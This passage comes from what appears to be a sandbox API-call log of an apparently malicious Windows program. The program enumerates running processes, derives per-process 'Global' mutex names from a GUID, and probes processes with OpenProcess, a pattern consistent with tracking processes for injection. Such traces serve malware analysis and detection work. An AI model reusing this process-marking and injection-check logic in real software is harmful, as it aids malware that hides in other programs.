bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0111.305] CloseHandle (hObject=0x13e0) returned 1 [0111.305] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0111.306] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0111.306] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0111.306] GetLastError () returned 0x0 [0111.306] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0111.306] CloseHandle (hObject=0x13e0) returned 1 [0111.306] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0111.307] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0111.307] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0111.307] GetLastError () returned 0xb7 [0111.307] CloseHandle (hObject=0x13e0) returned 1 [0111.307] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.308] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0111.308] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0111.308] GetLastError () returned 0x0 [0111.308] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0111.308] CloseHandle (hObject=0x13e0) returned 1 [0111.308] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0111.309] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0111.310] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0111.311] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0111.312] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0111.312] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0111.313] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0111.314] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0111.315] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0111.316] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0111.317] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0111.318] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0111.319] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0111.320] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0111.321] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0111.322] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0111.322] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0111.323] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0111.324] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0111.325] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0111.326] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0111.327] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.327] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0111.328] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.376] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.377] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.378] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0111.379] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0111.379] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.380] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.381] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0111.382] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0111.382] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0111.382] GetLastError () returned 0xb7 [0111.382] CloseHandle (hObject=0x13e0) returned 1 [0111.382] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 0 [0111.383] CloseHandle (hObject=0x13d8) returned 1 [0111.383] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0111.501] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0111.503] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.504] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.505] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.506] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.506] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.507] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.508] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.509] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.509] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.510] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0111.511] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.512] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.513] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.514] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.516] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0111.516] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0111.516] GetLastError () returned 0xb7 [0111.516] CloseHandle (hObject=0x13e0) returned 1 [0111.517] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0111.517] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0111.517] GetLastError () returned 0xb7 [0111.517] CloseHandle (hObject=0x13e0) returned 1 [0111.517] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0111.517] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0111.517] GetLastError () returned 0x0 [0111.517] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0111.517] CloseHandle (hObject=0x13e0) returned 1 [0111.518] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0111.518] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0111.518] GetLastError () returned 0x0 [0111.518] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0111.518] CloseHandle (hObject=0x13e0) returned 1 [0111.518] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0111.518] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0111.518] GetLastError () returned 0xb7 [0111.518] CloseHandle (hObject=0x13e0) returned 1 [0111.519] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0111.519] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0111.519] GetLastError () returned 0x0 [0111.519] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0111.519] CloseHandle (hObject=0x13e0) returned 1 [0111.526] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0111.526] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0111.526] GetLastError () returned 0xb7 [0111.526] CloseHandle (hObject=0x13e0) returned 1 [0111.663] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0111.663] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0111.663] GetLastError () returned 0xb7 [0111.663] CloseHandle (hObject=0x13e0) returned 1 [0111.663] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0111.663] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0111.663] GetLastError () returned 0xb7 [0111.663] CloseHandle (hObject=0x13e0) returned 1 [0111.664] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0111.664] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0111.664] GetLastError () returned 0x0 [0111.664] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0111.664] CloseHandle (hObject=0x13e0) returned 1 [0111.664] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0111.664] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0111.664] GetLastError () returned 0x0 [0111.664] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0111.664] CloseHandle (hObject=0x13e0) returned 1 [0111.664] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0111.664] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0111.664] GetLastError () returned 0xb7 [0111.664] CloseHandle (hObject=0x13e0) returned 1 [0111.665] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, 